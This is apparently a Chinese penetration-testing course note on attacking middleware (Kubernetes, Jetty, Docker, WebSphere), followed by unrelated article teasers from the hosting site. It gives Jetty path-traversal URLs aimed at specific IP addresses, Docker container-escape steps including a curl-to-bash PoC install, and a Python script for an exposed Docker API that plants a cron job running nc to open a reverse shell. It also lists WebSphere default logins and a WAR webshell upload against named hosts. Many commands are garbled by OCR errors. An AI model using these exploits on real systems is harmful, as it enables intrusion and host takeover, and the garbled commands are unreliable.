第六十一天 服务攻防-中间件安全CVE复现K8SDockerJettyWebsphere

第61天 服务攻防-中间件安全&CVE复现&K8S&Docker&Jetty&Websphere

在这里插入图片描述

知识点:

中间件及框架列表:

lIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins,
GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Sprng,Flask,jQuery
0、中间件-K8s安全
1、中间件Jey安全
2、中间件-Docker安全
3.中间件-WebSphere:安全

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用框架特定安全漏洞

前置知识:

中间件安全侧试流程:
1、判断中间件信息名称&版本&三方
2、判断仲间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式持定漏洞&未授权&弱口令等

演示案例

中间件K8s-搜哈
中间件Jety-搜哈
中间件Docker-搜哈
中间件-WebSphere-搜哈
配合下-Fofa_Viewer-搜哈

中间件-K8s-搜哈

kubernetest简称k8s,是一个由google开源的,用于自动部暑,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过kK8$,可跨多台主机进行容器编排、快速按需扩展容器应用及其资源、对应
用实施状况检查、服务发现和负载均衡街等。
https://blog.csdn.net/w1590191166/article/details/122028001

中间件Jetty-搜哈

Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
CVE-2021-28164
http://123.58.236.76.63126/%2e/WEB-INF/web.Xxml
CVE-2021-28169
http://123.58.236.76:63126/static?/WEB-INF/web.xml
CVE-2021-34429
http:/123.58.236.76:63126/%u002eWEB-NF/web.xml

中间件-Docker-搜哈

Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shll,并拿到宿主机的root权限,可以直接操作宿主机文件。它从容器中逃了出来,因此我们形象的称为Dockeri逃逸漏洞。
1、容器判断:判断当前是否是容器环境
-是否存在.dockerenv文件

Is -alh /.dockerenv

查间系统进程的cgroup信息:

cat /proc/1/cgroup

2、容器逃逸漏洞:权限提升
-由两核漏洞引起一Dirty C0W(CVE-2016-5195)
-由Docker软件设计引起CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
由配置不当引起一开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能
(capabilities)机制、sock通信方式
CVE-2016-5195
https://github.com/gebl/dirtycow-docker-vdso
https://www.ichunqiu.com/experiment/catalog?id=100295
第一步、启动容器:
#使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
#其中tst:为临时名称,可以自定义填写。p:第一个端口为本机的端口,第二个端口
为Docker的端口。-td:意思是在后台运行,交互式运行,并且输出当前的信息
bin/bash:调用Shel

docker run --name=test-p 1234:1234 -itd dirtycow /bin/bash

第二部、进入容器:
#进入镜像内部

docker exec-it test /bin/bash

第三步、
#编译并运行POC

cd /dirtycow-vdso/
make
/0xdeadbeef

执行操作即可作用宿主机
在这里插入图片描述
-CVE-2019-5736
参考:https:///blog.51cto.com/u_15060465/4336524
复现:curl
https://aist_githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o
install.sh &bash install.sh
1、下载POC

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

2、修改编译生成payload

CGO ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

2、修改编译生成payload

CGO ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

3.将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器
中上传payload进行dockeri逃逸)并执行

docker cp main ecca872da49d:/home
docker exec-it ecca872da49d bash
cd /home/
chmod 777 main
/main

4、再次进入docker镜像后监听即可收到

docker exec-t镜像ID bash
nc -lwvp

3、容器安全漏洞
docker未授权访问漏洞-vulhub-exp.py

import docker
client docker.DockerClient(base_url='http://IP:2375/)
data=client.containers.run(alpine:latest',r"sh-c"echo****usr/bin/nc反弹IP端☐-e
bin/sh'>>/tmp/etc/crontabs/root"",remove=True,volumes=f/etc":(bind':'/tmp/etc',
'mode':'nw)))

中间件-WebSphere-搜哈

WebSphere@Application Server加速交付新应用程序和服务,它可以通过快速交付创新
的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选
择,以便更好地协调项目需求与编程模型功能和开发人员技能。
端口:9080一web(http)应用访问端口、9443-web(https)应用访i问端口、9060一管理后台
访问端口、9043一管理控制台安全端口、8880一SOAP连接器端口等等。
漏洞探测在8880满口,后台是9060端口,解析是9080端口
拉取镜像:docker pull iscrosales/websphere7
启动镜像:docker run-d-p9060:9060-p9043:9043-p8880:8880-p9080:9080
iscrosales/websphere7
停止镜像:docker stop $(docker ps-aq)
1、CVE-2015-7450反序列化
工具搜哈:http://147.94.236.117:8880/
2、弱☐令上传拿Shell
-在6x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登陆后台。
-websphere/websphere
-system/manager
访i问:http:147.94.236.117:9060/
登录:admin
上传:war马
启动:1_war
连接:http://47.94.236.117:9080/1/1jsp
3、CVE-2020-4450:无利用P0C/EXP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/450707.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

视频上传-分片上传那点事

在上一篇文章中,我们讲解了从视频上传到保存在服务端的整个过程,在这个过程中,我们又细分了前端上传视频的几种方式,前端处理视频的几种方式,在前后端通信过程中需要注意的哪些点等等。有不清楚的小伙伴可以看看 上篇文…

Spring IoC容器(二)Bean的自定义及容器的扩展

Spring提供了一些接口来让我们定制bean 及扩展容器。 1 定制Bean 我们可以通过bean及容器的生命周期回调及一些Aware接口来定制bean。 1.1 生命周期回调 1.1.1 InitializingBean 与 DisposableBean 我们可以通过让Bean 实现InitializingBean 及DisposableBean 接口&#x…

软件测试学习笔记-测试用例的编写

7中测试分类 按照阶段可划分单元测试、集成测试、系统测试、验收测试。代码可见度划分黑盒测试、灰盒测试、白盒测试 单元测试:针对源代码的测试 集成测试:针对接口进行测试 系统测试:针对功能和非功能的测试 验收测试:公测、内测…

在Vue中如何构建复杂表单?

概述 很有可能,在我们的软件工程旅程中,我们至少要构建一次复杂的表单。本文将介绍如何创建一个复杂的表单,该表单可以使用一些Vue特性(如v-for和v-model)逐步增强。它还提供了一些基本的Vue核心功能的复习,这些功能将在您日常使…

Vue引入Axios

1.命令安装axios和vue-axios npm install axios --save npm install vue-axios --save 2.package.json查看版本 3.在main.js中引用 import axios from axios; import VueAxios from vue-axios; Vue.use(VueAxios,axios) 4.如何使用 (初始化方法) 将下列代…

sqli.labs靶场(29到40关)

29、第二十九关 id1 id1 尝试发现是单引号闭合, -1 union select 1,2,3-- -1 union select 1,2,database()-- -1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)-- -1 union select 1,2,(select…

跳表详解和实现|深挖Redis底层数据结构

文章目录 跳表前言项目代码仓库认识跳表跳表的实现思路跳表性能分析对比平衡树(avl和红黑树)和哈希表使用手册成员变量成员函数构造析构迭代器sizeclearemptyoperatorfindinserterase 跳表细节实现节点定义跳表结构定义构造、析构、拷贝构造和赋值重载si…

vue3 之 组合式API—reactive和ref函数

ref&#xff08;&#xff09; 作用&#xff1a;接收简单类型或者对象类型的数据传入并返回一个响应式的对象 核心步骤&#xff1a; 1️⃣ 从 vue 包中导入 ref 函数 2️⃣在 <script setup>// 导入import { ref } from vue// 执行函数 传入参数 变量接收const count …

QT 应用中集成 Sentry

QT 应用中集成 Sentry QT应用中集成 SentrySentry SDK for C/C注册 Sentry 账号QT 应用中集成 Sentry触发 Crash 上报 QT应用中集成 Sentry Sentry 是一个开源的错误监控和日志记录平台&#xff0c;旨在帮助开发团队实时捕获、跟踪和解决软件应用程序中的错误和异常。它提供了…

开关电源学习之Buck电路

一、引言 观察上方的电路&#xff0c;当开关闭合到A点时&#xff0c;电流流过电感线圈&#xff0c;形成阻碍电流流过的磁场&#xff0c;即产生相反的电动势&#xff1b;电感L被充磁&#xff0c;流经电感的电流线性增加&#xff0c;在电感未饱和前&#xff0c;电流线性增加&…

07-使用Package、Crates、Modules管理项目

上一篇&#xff1a;06-枚举和模式匹配 当你编写大型程序时&#xff0c;组织代码将变得越来越重要。通过对相关功能进行分组并将具有不同功能的代码分开&#xff0c;您可以明确在哪里可以找到实现特定功能的代码&#xff0c;以及在哪里可以改变功能的工作方式。 到目前为止&…

Python学习从0到1 day12 Python数据容器.3.字符串与数据容器的切片操作

世界之大&#xff0c;从不在手心拙劣的掌纹之下 ——24.2.3 一、字符串的定义和操作 1.定义 字符串是字符的容器&#xff0c;一个字符串可以存放任意数量的字符 2.字符串的下标&#xff08;索引&#xff09; 和其他容器如&#xff1a;列表、元组一样&#xff0c;字符串也可以通…